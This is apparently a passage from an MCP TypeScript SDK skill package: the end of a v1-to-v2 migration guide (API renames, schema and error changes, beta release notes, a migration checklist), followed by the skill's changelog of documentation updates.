      server.resource("config", "config://app", { mimeType: "text/plain" },
        async (uri) => ({ contents: [{ uri: uri.href, text: "..." }] })
      );
      
      // v2
      server.registerResource("config", "config://app", {
        title: "Application Config",
        description: "App configuration data",
        mimeType: "text/plain",
      }, async (uri) => ({
        contents: [{ uri: uri.href, text: "..." }],
      }));
      ```
      
      ### Handler Context (extra -> ctx)
      
      ```typescript
      // v1 - extra parameter (unstructured)
      server.tool("my-tool", schema, async (args, extra) => {
        // extra has limited, untyped fields
      });
      
      // v2 - ctx parameter (structured, typed)
      server.registerTool("my-tool", config, async (args, ctx) => {
        // Logging
        await ctx.mcpReq.log("info", "Processing request");
      
        // Sampling (request LLM completion)
        const response = await ctx.mcpReq.requestSampling({
          messages: [{ role: "user", content: { type: "text", text: "Summarize this" } }],
          maxTokens: 100,
        });
      
        // Elicitation (request user input)
        const input = await ctx.mcpReq.elicitInput({
          message: "Please confirm the operation",
          requestedSchema: { type: "object", properties: { confirm: { type: "boolean" } } },
        });
      
        // Abort signal
        ctx.mcpReq.signal.addEventListener("abort", () => { /* cleanup */ });
      });
      ```
      
      ## Schema Changes
      
      ### Zod v4 Required
      
      v2 uses Zod v4 as a peer dependency. The SDK's internal schemas import `zod/v4`:
      
      ```typescript
      // v2 internals
      import * as z from "zod/v4";
      ```
      
      **Public API uses Standard Schema interfaces** - any library implementing `StandardSchemaWithJSON` works:
      - Zod v4
      - ArkType
      - Valibot
      
      ### inputSchema Must Be z.object()
      
      v1 accepted raw shapes `{ key: z.string() }` and wrapped them internally. v2 requires explicit `z.object()`:
      
      ```typescript
      // v1 - raw shape (implicitly wrapped)
      server.tool("my-tool", "desc", {
        query: z.string(),
        limit: z.number().optional(),
      }, handler);
      
      // v2 - explicit z.object()
      server.registerTool("my-tool", {
        inputSchema: z.object({
          query: z.string(),
          limit: z.number().optional(),
        }),
      }, handler);
      ```
      
      ### JSON Schema 2020-12 Default
      
      The spec now defaults to JSON Schema 2020-12 if no `$schema` field is present. Zod v4's `z.toJSONSchema()` produces 2020-12 output natively.
      
      ## Error Model
      
      ### McpError -> ProtocolError
      
      ```typescript
      // v1
      import { McpError, ErrorCode } from "@modelcontextprotocol/sdk/types.js";
      throw new McpError(ErrorCode.InternalError, "Something broke");
      
      // v2
      import { ProtocolError, ProtocolErrorCode } from "@modelcontextprotocol/core";
      throw new ProtocolError(ProtocolErrorCode.InternalError, "Something broke");
      ```
      
      ### New SdkError (local errors)
      
      v2 splits errors into wire errors and local errors:
      
      ```typescript
      import { SdkError, SdkErrorCode } from "@modelcontextprotocol/core";
      
      // Local SDK errors that never cross the wire
      throw new SdkError(SdkErrorCode.NOT_CONNECTED, "Not connected to transport");
      throw new SdkError(SdkErrorCode.REQUEST_TIMEOUT, "Request timed out");
      ```
      
      ### Unknown / Disabled Tool Error Semantics Changed
      
      In v2 alpha.1, unknown or disabled tool calls return JSON-RPC `-32602` (`InvalidParams`) instead of `CallToolResult` with `isError: true`. Resource-not-found is also `-32602`: [SEP-2164](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2164) (final, 2026-05-18) standardized resource-not-found on `-32602` (`InvalidParams`); `-32002` is the **legacy** code earlier protocol versions used, which clients SHOULD still accept for backwards compatibility. This is a breaking change for clients that read `isError` to detect missing tools - they must now handle JSON-RPC error responses.
      
      ### V1 Method Signatures Removed
      
      The deprecated `.tool()`, `.prompt()`, `.resource()` method signatures are fully removed in v2 alpha.1 ([PR #1419](https://github.com/modelcontextprotocol/typescript-sdk/pull/1419)) - they error at compile time. Use `registerTool()`, `registerPrompt()`, `registerResource()` exclusively.
      
      ### V2 Client OAuth Helpers
      
      - **`discoverOAuthServerInfo(serverUrl)`** ([PR #1527](https://github.com/modelcontextprotocol/typescript-sdk/pull/1527)) - performs RFC 9728 protected-resource-metadata discovery followed by RFC 8414 authorization-server-metadata discovery in a single call, returning a unified `OAuthDiscoveryState` cache.
      - **`AuthProvider` interface** ([PR #1710](https://github.com/modelcontextprotocol/typescript-sdk/pull/1710)) - one-line bearer-token providers: `{ token(): Promise<string | undefined>; onUnauthorized?(ctx): Promise<void> }`. Transports call `token()` before each request and `onUnauthorized()` on 401.
      
      ## Transport Changes
      
      ### SSE Server Transport Removed
      
      v2 removes `SSEServerTransport` from the server package. Clients can still connect to legacy SSE servers.
      
      ```typescript
      // v1 - SSE transport available
      import { SSEServerTransport } from "@modelcontextprotocol/sdk/server/sse.js";
      
      // v2 - REMOVED. Use WebStandardStreamableHTTPServerTransport instead
      ```
      
      ### WebSocket Client Transport Removed
      
      `WebSocketClientTransport` was non-spec and is removed in v2 alpha.1 ([PR #1783](https://github.com/modelcontextprotocol/typescript-sdk/pull/1783)). Use stdio or Streamable HTTP.
      
      ### DNS Rebinding Protection
      
      `createMcpExpressApp()` and `createMcpHonoApp()` include Host header validation by default for localhost servers. This prevents DNS rebinding attacks where a malicious website could access your local MCP server.
      
      ## Middleware Packages
      
      ### @modelcontextprotocol/hono
      
      ```typescript
      import { createMcpHonoApp } from "@modelcontextprotocol/hono";
      
      const mcpApp = createMcpHonoApp(
        (server) => {
          server.registerTool("my-tool", config, handler);
        },
        { name: "my-server", version: "1.0.0" },
      );
      
      const app = new Hono();
      app.route("/mcp", mcpApp);
      ```
      
      ### @modelcontextprotocol/express
      
      ```typescript
      import { createMcpExpressApp } from "@modelcontextprotocol/express";
      
      const mcpApp = createMcpExpressApp(
        (server) => {
          server.registerTool("my-tool", config, handler);
        },
        { name: "my-server", version: "1.0.0" },
      );
      
      const app = express();
      app.use("/mcp", mcpApp);
      ```
      
      ## Alpha -> Beta Changes (2.0.0-beta.1)
      
      v2 entered beta on 2026-06-30. Beta signals a settling (not frozen) API with support for the upcoming `2026-07-28` spec revision. Breaking changes since the alphas, almost all from [PR #2286](https://github.com/modelcontextprotocol/typescript-sdk/pull/2286):
      
      - **`createMcpHandler` is now web-standards-only**, returning `{ fetch, close, notify, bus }`. The duck-typed `.node(req, res)` face is gone - wrap once with `toNodeHandler(handler)` from `@modelcontextprotocol/node` for Express/Node.
      - **`serveStdio(factory, options?)`** (`@modelcontextprotocol/server/stdio`) is the new stdio entry point; `ServerOptions.eraSupport` was removed (migrate `new McpServer(info, { eraSupport })` + `connect()` to `serveStdio(() => new McpServer(info))`).
      - **Default JSON Schema validator is now `Ajv2020`** (true 2020-12) instead of draft-07 - `$defs`, `prefixItems`, `unevaluatedProperties`, `dependentRequired` are now enforced.
      - **`CallToolResult.content` is required at the wire boundary** - a handler result without `content` is rejected with `-32602`. Softened in beta.3 ([PR #2456](https://github.com/modelcontextprotocol/typescript-sdk/pull/2456)): a legacy-era result without `content` is normalized to `content: []` instead of failing validation; 2026-era wire schemas stay strict. `CallToolResult.structuredContent` is widened to `unknown` (a deliberate source-level break for typed consumers).
      - **Protocol error codes renumbered**: `HeaderMismatch -32020`, `MissingRequiredClientCapability -32021`, `UnsupportedProtocolVersion -32022`; unknown-URI `resources/read` answers `-32602` with a typed `ResourceNotFoundError` (`data.uri`).
      - **TypeScript >= 6.0 consumers must set `"types": ["node"]`** in tsconfig or the `.d.mts` declarations fail under `skipLibCheck: false` ([PR #2394](https://github.com/modelcontextprotocol/typescript-sdk/pull/2394)).
      
      ## Beta.1 -> Beta.3 Changes (2026-07-02 / 2026-07-09)
      
      beta.2 and beta.3 shipped for all v2 packages except `server-legacy` (frozen at beta.2, deprecated):
      
      - **CommonJS builds** ([PR #2405](https://github.com/modelcontextprotocol/typescript-sdk/pull/2405), beta.2) - see Runtime Requirements above.
      - **Post-dispatch `-32021` (`MissingRequiredClientCapability`) now returns HTTP 400** instead of riding HTTP 200 ([PR #2399](https://github.com/modelcontextprotocol/typescript-sdk/pull/2399), beta.2).
      - **Non-JSON POSTs rejected with `415 Unsupported Media Type`** - Content-Type is parsed, not substring-matched; new exported `isJsonContentType(header)` helper. Custom transports composing `classifyInboundRequest`/`PerRequestHTTPServerTransport` must apply it themselves ([PR #2441](https://github.com/modelcontextprotocol/typescript-sdk/pull/2441), beta.3).
      - **`inputRequired.elicit()` accepts a Standard Schema** (e.g. a Zod object) for `requestedSchema`; inexpressible shapes (nested objects, `.regex()`, exclusive bounds, literal unions) reject before anything is sent ([PR #2369](https://github.com/modelcontextprotocol/typescript-sdk/pull/2369), beta.3).
      - **SDK error classes brand-match across separately bundled SDK copies** (`Symbol.hasInstance` + a registry symbol), plus static `X.isInstance(value)` guards; `connect()` against an auth-gated server now rejects with the original `UnauthorizedError` instead of a wrapped `SdkError` ([PR #2384](https://github.com/modelcontextprotocol/typescript-sdk/pull/2384), beta.3).
      - **Streamable HTTP client session hygiene**: no session ID attached to `initialize` POSTs; `mcp-session-id` captured only from a successful initialize response; rotation only via 404 + re-initialize ([PR #2469](https://github.com/modelcontextprotocol/typescript-sdk/pull/2469), beta.3).
      - **Runtime-neutral auth helpers in `@modelcontextprotocol/server`**: `requireBearerAuth` for web-standard `fetch(request)` hosts (Cloudflare Workers, Deno, Bun, Hono) and `oauthMetadataResponse` serving the RFC 9728 / RFC 8414 metadata documents; the insecure-issuer escape hatch is now an explicit `dangerouslyAllowInsecureIssuerUrl` option ([PR #2420](https://github.com/modelcontextprotocol/typescript-sdk/pull/2420), [PR #2422](https://github.com/modelcontextprotocol/typescript-sdk/pull/2422), beta.3).
      - Fixes: version negotiation no longer drops pre-set transport handlers (PR #2455); CJS `validators/ajv` subpath crash fixed (PR #2431); legacy content-less `CallToolResult` tolerance (PR #2456, above).
      
      ## Beta.3 -> 2.0.0 (2026-07-13 / 07-21 / 07-27)
      
      **If you piloted v2 on `2.0.0-beta.3`, upgrade - do not stay pinned.** beta.5 changed the 2026-07-28 wire shape, so a beta.3 build is incompatible with conforming modern peers.
      
      ### The wire realignment (beta.5, breaking)
      
      [PR #2513](https://github.com/modelcontextprotocol/typescript-sdk/pull/2513) aligned the SDK with the *final* spec revision (spec PR #3002):
      
      - `serverInfo` **moves out of the `DiscoverResult` body into the result `_meta`**; new exported constant `SERVER_INFO_META_KEY` (`'io.modelcontextprotocol/serverInfo'`).
      - The per-request envelope's `clientInfo` **demotes from required to SHOULD** (`RequestMetaEnvelope.clientInfo` is now optional).
      - Breaking types: `DiscoverResult` no longer declares `serverInfo`.
      
      Why it matters concretely: before this, "the client hard-rejected a conforming server's `DiscoverResult` (missing body `serverInfo` failed parse, so the probe misclassified the server as legacy and attempted an `initialize` handshake against it - a hard connect failure against a modern-only server)", and "the server rejected conforming clients that omit `clientInfo`".
      
      ### Structural changes (beta.4)
      
      - **Schema modules consolidated into `@modelcontextprotocol/core`** ([PR #2477](https://github.com/modelcontextprotocol/typescript-sdk/pull/2477)) - packages resolve them as a runtime dependency instead of bundling private copies, so an app importing more than one package "now evaluates a single shared schema graph with shared object identity". `core` gains a `./internal` subpath (SDK-internal; may change in any release), and the four core packages version together.
      - **The client response cache is now string-valued** ([PR #2468](https://github.com/modelcontextprotocol/typescript-sdk/pull/2468)) - **breaking for custom `ResponseCacheStore` implementations**: `CacheEntry.value` is now `string`; persist and return it verbatim, `JSON.parse` to inspect. Entries written by an older SDK "fail decode once (reported, dropped) and are rewritten on the next fetch".
      - **Startup cost moved off the hot path**: wire schemas and the Ajv engine are both built lazily on first validation ([PR #2476](https://github.com/modelcontextprotocol/typescript-sdk/pull/2476), [PR #2458](https://github.com/modelcontextprotocol/typescript-sdk/pull/2458)). For Cloudflare Workers, where lazy construction lands in the request path, call the new **`preloadSchemas()`** at module scope - the workerd export condition does it automatically ([PR #2483](https://github.com/modelcontextprotocol/typescript-sdk/pull/2483)).
      
      ### Fixes worth knowing (beta.5 / 2.0.0)
      
      - **Auth failures are no longer treated as era evidence** ([PR #2564](https://github.com/modelcontextprotocol/typescript-sdk/pull/2564)) - a 401/403 on the `server/discover` probe now surfaces as a typed `SdkHttpError` (`ClientHttpAuthentication` / `ClientHttpForbidden`) carrying status, reason phrase, and response text, instead of triggering a legacy `initialize` fallback "which put a doomed `initialize` on the wire". If you gate your MCP endpoint behind auth, this is the fix that makes v2 clients report the real error.
      - **The default validator honors declared draft-07 / 2019-09 dialects** ([PR #2534](https://github.com/modelcontextprotocol/typescript-sdk/pull/2534)) - this unblocks every `zod-to-json-schema` user, whose default output is stamped `"$schema": "http://json-schema.org/draft-07/schema#"`. Schemas with no `$schema` still validate as 2020-12; unknown dialects produce a typed error listing the supported ones.
      - **stdio era probing runs on a disposable sibling process** ([PR #2514](https://github.com/modelcontextprotocol/typescript-sdk/pull/2514)) - some stdio servers exit on any pre-`initialize` request (rmcp-based servers do), which previously killed the server and hard-failed `connect()` under `mode: 'auto'`.
      - **`ConnectOptions.prior`** ([PR #2511](https://github.com/modelcontextprotocol/typescript-sdk/pull/2511)) accepts a cached era verdict via the exported `PriorDiscovery` type: `{ kind: 'modern', discover }` adopts a known `DiscoverResult` with zero round trips; `{ kind: 'legacy' }` skips the probe without pinning the client to `mode: 'legacy'`.
      - **`Protocol` and `mergeCapabilities` are re-exported** from the `client` and `server` package roots ([PR #2501](https://github.com/modelcontextprotocol/typescript-sdk/pull/2501)), restoring the v1 import for consumers that subclass `Protocol` (the MCP Apps SDK does). Each package bundles its own compiled copy - import from one package consistently within a process.
      - **SSE keep-alive frames** ([PR #2541](https://github.com/modelcontextprotocol/typescript-sdk/pull/2541)) - `createMcpHandler`'s `keepAliveMs` now applies to every HTTP SSE stream it serves.
      - The 2025-era `tasks/*` wire vocabulary is `@deprecated` and excluded from the typed method maps (`RequestMethod`, `RequestTypeMap`, `ResultTypeMap`, `NotificationTypeMap` have no `tasks/*` entries).
      
      ## Migration Checklist
      
      ### Phase 1: Prepare (do now, on v1)
      
      - [ ] Use `.describe()` on every Zod schema field
      - [ ] Use `z.object()` wrappers (not raw shapes) for tool schemas
      - [ ] Set tool annotations on all tools
      - [ ] Use `isError: true` for all tool-level errors (not McpError for validation)
      - [ ] Bump to SDK v1.28.0 (catches plain JSON Schema errors, security fix)
      - [ ] Register all tools/resources before `connect()` ([#893](https://github.com/modelcontextprotocol/typescript-sdk/issues/893))
      - [ ] Ensure per-request server+transport pattern (not shared instances)
      
      ### Phase 2: Migrate (v2 is stable - you can do this now)
      
      - [ ] Switch to ESM (`"type": "module"` in package.json)
      - [ ] Upgrade Node.js to 20+
      - [ ] Upgrade Zod to v4
      - [ ] Replace `@modelcontextprotocol/sdk` with split packages
      - [ ] Replace `server.tool()` with `registerTool()`
      - [ ] Replace `server.resource()` with `registerResource()`
      - [ ] Replace `McpError` with `ProtocolError`
      - [ ] Update handler signatures: `extra` -> `ctx`
      - [ ] Remove any SSEServerTransport usage
      - [ ] Add `outputSchema` + `structuredContent` to tools
      - [ ] Switch to framework middleware if using Hono/Express
      - [ ] Decide your era explicitly: leave `versionNegotiation` absent to stay on the 2025 wire (recommended unless you control both ends), or set `'auto'` / `{ pin: '2026-07-28' }`
      - [ ] Test against the era you chose - `MCP-Protocol-Version: 2025-11-25` for the legacy wire, `2026-07-28` for the modern one
      
      ### Phase 3: Optimize (after migration)
      
      - [ ] Add `outputSchema` to all tools for typed outputs
      - [ ] Implement dynamic tool loading for large tool sets
      - [ ] Use `structuredContent` for all responses
      - [ ] Review DNS rebinding protection settings
      - [ ] Remove any Zod v3 compatibility shims
      
      ### Timeline
      
      v2 stable shipped **2026-07-27**, alongside the released 2026-07-28 spec revision. The support window is now written down in the SDK's own `ROADMAP.md`:
      
      > The `v1.x` branch (`@modelcontextprotocol/sdk`) continues to receive bug fixes and security updates for at least six months after the v2 release (2026-07-27). It targets the 2025-11-25 spec revision; new spec revisions are implemented on `main` only.
      
      The second sentence is the one that sets the real deadline: **v1 will never speak a revision past 2025-11-25**. Fixes for six-plus months, but no path to 2026-07-28 or anything after it, so "v1 still gets patches" is not a reason to stay if you need the modern wire. The repo also added `VERSIONING.md` and a `DEPENDENCY_POLICY.md` (including a 7-day `minimumReleaseAge` supply-chain cooldown on lockfile entries) alongside it.
      
      In practice the ecosystem is still on v1: the official reference servers (`server-filesystem`, `server-memory`, `server-everything`) were republished 2026-08-31 still pinning `"@modelcontextprotocol/sdk": "^1.30.0"`, which is why the v1 draft-07 defect in `sdk-bugs.md` has such a wide blast radius.
      
      New code should target v2; the `@modelcontextprotocol/codemod` `v1-to-v2` codemod handles the mechanical parts.
      
      Two reasons to move sooner rather than later, both v1-only defects with no backport: `z.union()`/`z.discriminatedUnion()` still produce empty schemas on every released v1 including 1.30.0 ([PR #2017](https://github.com/modelcontextprotocol/typescript-sdk/pull/2017) is still open), and the concurrent-transport-closure stack overflow ([#1699](https://github.com/modelcontextprotocol/typescript-sdk/issues/1699)) was fixed on the v2 line only.
      
  • CHANGELOG.md 30.4 KB
    # Changelog
    
    All notable changes to this skill will be documented in this file.
    
    The format is based on [Keep a Changelog](https://keepachangelog.com/en/2.0.0/),
    and this skill adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
    
    ## [Unreleased]
    
    ## [1.2.1] - 2026-09-09
    
    ### Fixed
    
    - `references/security-auth.md`: the malicious-command example now uses the RFC 2606 reserved
      `attacker.example` domain instead of `evil.com`, which Snyk scored as a live exfiltration
      endpoint (E005 CRITICAL) rather than as the attack illustration it is.
    
    ## [1.2.0] - 2026-09-09
    
    ### Added
    - Modern-era HTTP status duties: `404` + `-32601` for an unimplemented RPC method, `400` + `-32020` for a header/body mismatch, and `-32021` carrying `data.requiredCapabilities`.
    - The full `x-mcp-header` contract - clients MUST support it and MUST drop violating tools from `tools/list` entirely - plus the spec's "do not mark secrets or PII" warning.
    - "Long-Running Tools" in `SKILL.md`: Claude Code's per-call MCP timeout is a hard wall-clock limit that progress notifications do not extend, so long work returns a handle or a task instead.
    - Prompt-cache invalidation as a real cost of dynamic tool loading, and `list_changed` invalidating a cached list ahead of its `ttlMs`.
    - DPoP (RFC 9449 / SEP-1932) sender-constrained tokens, shipped in the v2 client on `main`.
    - The 2026-08-22 roadmap as a "what not to over-invest in" table: tool-result-shape redesign, protocol-level progressive discovery, HTTP over stdio, ETag caching, and `audience`/`priority` annotations as deprecation candidates. New working and interest groups listed.
    - Registry package types (Cargo, NuGet, MCPB) and `mcp-name:` namespace verification, including the crates.io HTML-comment gotcha.
    - Four new open SDK defects promoted to the bugs table: v1 draft-07 schema emission, zod 3-to-4 dropping `additionalProperties: false`, `registerTool` skipping `refine`/`superRefine`, and the v2 `createMcpHandler` `onclose` leak; plus four lower-severity open issues and a "fixed on `main`, not yet released" section.
    - MRTR retries require a fresh JSON-RPC id, and `inputRequests` is a keyed map with lifetime-unique keys.
    - Tasks: per-request `-32021` opt-in contract, per-request auth-binding MUST, task-ID entropy, and the durability rule for `CreateTaskResult`.
    
    ### Changed
    - **Breaking:** `@modelcontextprotocol/ext-apps` 1.7.5 -> 2.0.0 (2026-09-08). New "Upgrading to ext-apps 2.0" table covers the SDK 2.0 split packages, the `zod@^4.2.0` floor, `extra.signal` -> `extra.mcpReq.signal`, and the deprecated registration overload. The wire protocol is unchanged and 1.x/2.x interoperate both ways.
    - `MCP-Protocol-Version` is a MUST on every modern POST and must match the `_meta` value or the server MUST answer `400` + `HeaderMismatch`. The former "handle it leniently" guidance is now scoped to which version you accept, on 2025-era wires.
    - The stdio pre-init probe hazard is written generically instead of naming the Rust SDK, which implemented `server/discover` in 3.0.0. What actually fails is a probe missing the two required `_meta` keys; rmcp >= 3.1.4 answers `-32602` and still closes.
    - Codex CLI's result cap is 10,000 **tokens** on every current model, not 10,000 bytes; the bytes policy survives only on legacy `gpt-5.2` and as the unknown-model fallback.
    - `_meta["anthropic/maxResultSizeChars"]` replaces `MAX_MCP_OUTPUT_TOKENS` for text rather than being bounded by it, so it can lower the cap as well as raise it.
    - Rust SDK is Tier 1 (2026-08-21), and a SEP no longer needs an SDK implementation to reach Final.
    - Sampling-with-tools is in the released schema, not a proposal; added the `sampling.{context,tools}` and `elicitation.{form,url}` sub-capabilities.
    - The 12-month deprecation window is a default, not a guarantee: a 90-day security floor exists, and HTTP+SSE is scheduled three months after SEP-2596 reaches Final.
    - The v1.x sunset now cites the SDK's own `ROADMAP.md`, including the harder deadline that v1 will never implement a revision past 2025-11-25.
    
    ### Fixed
    - The canonical stateless example called `Origin` validation a server requirement while shipping it inert: `enableDnsRebindingProtection` defaults to `false` and `allowedOrigins`/`allowedHosts` are unset on the raw transport. Both `SKILL.md` and `transport-patterns.md` examples now pass them.
    - Added the gateway failure mode where an unrecognized `server/discover` POST absorbed into an empty `2xx` bricks `connect()`, while a `4xx` degrades gracefully.
    
    Verified against: @modelcontextprotocol/sdk@1.30.0, @modelcontextprotocol/server@2.0.0, @modelcontextprotocol/ext-apps@2.0.0, modelcontextprotocol-spec@2026-07-28
    
    ## [1.1.2] - 2026-09-09
    
    ### Changed
    - Description condensed to fit the repo's 250-character limit.
    
    ## [1.1.1] - 2026-08-21
    
    ### Changed
    
    - Declared ClawHub browse categories (`development, integrations`) and topics in `metadata`, so the release pipeline publishes them instead of leaving the skill in the `other` category.
    
    ### Removed
    
    - `skill-card.md`. The ClawHub CLI strips a root `skill-card.md` from every publish and the registry generates its own card, so the authored file never reached ClawHub.
    
    ## [1.1.0] - 2026-08-07
    
    ### Added
    - New `references/sdk-bugs.md` holding the full Known SDK Bugs table (severity, status, workaround), including the `z.transform()` row that was previously only in the schema guide.
    - `references/spec-2026-07-28.md`: "Stateful Tools: Handles Instead of Sessions" (the four handle design rules) and "Other Removals and Loosenings" (`ping`/`logging/setLevel`/`notifications/roots/list_changed` removal, SSE resumability removal, elicitation-completion removal, `execution.taskSupport` removal, JSON Schema loosening, OTel trace context, the auth changes, and the conformance-suite SEP gate).
    - `references/tool-schema-guide.md`: "Other Tool-Definition Fields" (`icons`, `listChanged`, `execution.taskSupport`) and "Other Server Primitives" (prompts, resources with the `docs://` example, resource templates, pagination, completions, cancellation).
    
    ### Changed
    - SKILL.md condensed from ~43.9k to ~29.4k characters with no loss of substance - duplicated matrices, doc restatement, and reference-grade detail were compressed or relocated. Untouched: the empirically-tested Claude Code result-delivery matrix and cross-client table, Quick Reference, The Two Eras, Transport Decision, the stateless pattern, `registerTool()`, annotations, token bloat, result-size budgets, the threat table core, and the v2 migration summary.
    - "Spec 2026-07-28" reduced from ten bullets to the four that change a decision today (stateless/sessionless, `server/discover` as a server MUST, the Roots/Sampling/Logging/HTTP+SSE deprecations, and application error codes outside `-32768..-32000`); the rest is delegated to the reference.
    - "Known SDK Bugs" is now a four-item must-know list (v1 union defect, the `>= 1.26.0` floor for CVE-2026-25536, register-before-connect, AJV strict extras) pointing at `references/sdk-bugs.md`.
    - Framework Integration replaced its per-framework snippets with prose naming the `hono`/`express` packages and the Workers `preloadSchemas()` note, pointing at `transport-patterns.md`.
    - Extensions collapsed to identifier format, per-request negotiation on 2026-07-28, the four-capability table, and pointers.
    
    ### Removed
    - **"Module-Level Caching" section.** Its example used the v1 positional `server.tool()` API that the same document describes as removed in v2 - a self-contradiction - and its hoist list already lives in "Stateless Pattern", where it is now a single sentence.
    - Standalone "Other Server Primitives", "Other Tool-Definition Fields", "Resource Registration", and "Beyond Text: Content Types" sections (relocated to references; the pagination rule, `docs://` convention, and content-type pointer stay inline).
    - Generic security bullets duplicated from ordinary web-service hygiene, the command-injection and SSRF threat rows (kept as a one-line hygiene note), and the VS Code maintainer quote (the cross-client matrix already carries the behavior).
    
    ### Added
    - New `references/spec-2026-07-28.md` covering the released revision in full: per-request `_meta` identity keys (`protocolVersion`, `clientCapabilities`, `clientInfo`, `serverInfo`), per-request `io.modelcontextprotocol/logLevel`, the `subscriptions/listen` notification filter (`toolsListChanged`/`promptsListChanged`/`resourcesListChanged`/`resourceSubscriptions`) plus `subscriptionId` tagging, `requestState`, `Mcp-Method`/`Mcp-Name` with the Base64 sentinel encoding format, `DiscoverResult`, the cacheable-result set, the error-code allocation policy, and the deprecation table.
    - "The Two Eras" section in SKILL.md: SDK v2 speaks the 2025-era wire by default and 2026-07-28 is opt-in via `versionNegotiation` (`legacy` / `auto` / `{pin}`) - upgrading the SDK does not change your protocol revision.
    - Spec "Stateful Tools" design rules (authorization, opacity, lifetime in the creation tool's description, expiry errors), replacing a single-sentence mention.
    - SSE keep-alive frames and the `keepAliveMs` option (default 15000, `0` disables), shipped in v1.30.0 and v2.
    - v2-migration: "Beta.3 -> 2.0.0" section - the beta.5 wire realignment (`serverInfo` moves to result `_meta`, `clientInfo` optional, `SERVER_INFO_META_KEY`), schema consolidation into `core`, string-valued response cache (breaking for custom `ResponseCacheStore`), `preloadSchemas()`, lazy Ajv/wire schemas, auth-probe fix, draft-07/2019-09 dialect acceptance, `ConnectOptions.prior`, restored `Protocol` export.
    - tool-schema-guide: v2 Zod guardrails (hard error on Zod 3, warning below 4.2.0, `fromJsonSchema()`); proxy/aggregator rule to strip `outputSchema` when re-listing upstream tools; middleware must spread the whole result rather than reconstruct it; per-tool cap mechanics (wire-level field, 500k clamp, text-only, bytes not code points); paging-over-truncation guidance; response-shape economy; duplicate-SDK-install diagnosis.
    - security-auth: "Client Reality" section - path-specific `resource_metadata`, wildcard `.well-known` handlers, clients that omit the RFC 8707 `resource` parameter, silent degradation on audience misconfiguration, stale-refresh-token dead-ends.
    - transport-patterns: transport-level rejections bypass application logging; exclude GET from request-rate metrics (SSE keep-alive dominates by ~2 orders of magnitude); 415 on non-JSON POSTs.
    - Conformance suite as a runnable CLI (`npx @modelcontextprotocol/conformance server --url ...`), the SDK tier roster, and the `ext-tasks` repo as the canonical Tasks home.
    - "Testing Against Each Era": the MCP Inspector is now three clients behind one binary (web / `--cli` / `--tui`) and **connects as `legacy` by default**, so a 2026-07-28 server tested without setting `protocolEra` shows an `initialize` handshake and looks broken when it isn't. Covers the `legacy`/`auto`/`modern` setting, why the default is deliberate, and the repo's composable test servers.
    - "Direction: Active Working Groups": charter-level (no wire contract) summary of File Uploads (SEP-2356), Interceptors, Triggers/Events, Agents, Skills Over MCP (SEP-2640), and Server Card, each with why it matters to a server author.
    - Pointer to the official `mcp-server-dev` plugin (`build-mcp-server` / `build-mcp-app` / `build-mcpb`) for scaffolding a server, as the complement to this decision reference.
    
    ### Changed
    - **Breaking:** spec `2026-07-28` is released, not a locked Release Candidate; the SKILL.md section is re-tensed and re-scoped, with detail delegated to the new reference.
    - **Breaking:** TypeScript SDK v2 is stable (`2.0.0`, nine packages cut in lockstep 2026-07-27); v1 is the legacy line at `1.30.0`, developed on the `v1.x` branch with bug and security fixes for at least 6 months.
    - Extension negotiation moved from `initialize` to per-request `_meta["io.modelcontextprotocol/clientCapabilities"]`; the initialize-based JSON example is now labeled 2025-era.
    - `transport-patterns.md` re-framed around the two eras - sessions, the GET stream, DELETE termination, and SSE resumability are scoped to the 2025-era wire.
    - `server/discover` is MUST-implement for servers, MAY-call for clients.
    - `-32000..-32019` is **legacy** (new implementations SHOULD NOT use it), not merely implementation-defined.
    - Keep-alive is "encouraged", not SHOULD; Server Card path corrected to `GET <streamable-http-url>/server-card` with the catalog at `.well-known/mcp/catalog.json` (SEP-2127 still Draft).
    - Elicitation/sampling reframed: on 2026-07-28 servers cannot send requests to clients, so both go through MRTR.
    
    ### Removed
    - **Breaking:** `execution.taskSupport` - absent from the 2026-07-28 schema; the field is now scoped to 2025-11-25 only.
    - The SEP-2260 bullet ("server-initiated requests only while processing a client request") - it never landed in the released spec, and MRTR made it moot.
    - SEP-2350 and SEP-2351 citations - no such SEPs exist. SEP-2207 dropped from the 2026-07-28 additions list (Final, but not part of that revision).
    
    ### Fixed
    - **`-32042` payment-code collision.** The released spec allocates `-32042` ("URL elicitation required", 2025-11-25 only) inside the spec-reserved `-32020..-32099` sub-range, where implementations MUST NOT emit undefined codes. Payment guidance no longer recommends `-32042`/`-32043`; it leads with the `isError` pattern and directs new codes outside `-32768..-32000`.
    - Origin validation scoped to a **present and invalid** header - a blanket 403 on a missing `Origin` locks out shipping clients.
    - `MCP-Protocol-Version` guidance corrected: there is no initialization on 2026-07-28 and the version rides `_meta`; accept a range of declared versions.
    - Known SDK Bugs table: #1699 was fixed on the v2 line only (no v1 backport), #893 is open on both `main` and `v1.x` (with the dummy-registration workaround), #1596 gains the v2 `fromJsonSchema()` answer, and #702 is reframed as a permanent JSON Schema limitation rather than an open bug.
    - Union-schema breakage confirmed still present on v1.30.0 (backport PR #2017 remains open).
    - Stale "v2 pre-alpha" / "v2 alpha" / "2.0.0-beta.3" headings and the "npm `latest` resolves to a prerelease" note across references.
    - Rewrote the frontmatter `description` to the capabilities/triggers/boundary structure: replaced the trailing subject-area keyword dump with natural prose (semantic matching makes the list redundant), dropped the version pins (no trigger value, and `metadata.upstream` already carries them), and added a boundary distinguishing this decision reference from server-scaffolding skills.
    
    Verified against: @modelcontextprotocol/sdk@1.30.0, @modelcontextprotocol/server@2.0.0, @modelcontextprotocol/ext-apps@1.7.5, modelcontextprotocol-spec@2026-07-28
    
    ## [0.8.2] - 2026-07-24
    
    ### Added
    - RFC 9207 `iss` client-interop footgun (SKILL.md Auth bullet + `references/security-auth.md` subsection): advertising `authorization_response_iss_parameter_supported: true` (Better-Auth's `@better-auth/oauth-provider` does by default, [PR #7669](https://github.com/better-auth/better-auth/pull/7669)) makes rmcp >= 1.8.0 ([rust-sdk PR #896](https://github.com/modelcontextprotocol/rust-sdk/pull/896)) set `require_issuer = true`; Codex 0.143-0.145 drops the callback `iss` ([openai/codex#33354](https://github.com/openai/codex/issues/33354)) and hard-fails login on a spec-correct server. Server-side mitigation: advertise the flag as `false` while still sending `iss`; plus the general "absorb client bugs server-side" principle.
    
    ## [0.8.1] - 2026-07-22
    
    ### Added
    
    - skill-card.md release record following NVIDIA's skill-card format
    - metadata.openclaw block (emoji, homepage, envVars) for ClawHub display
    
    ## [0.8.0] - 2026-07-10
    
    ### Added
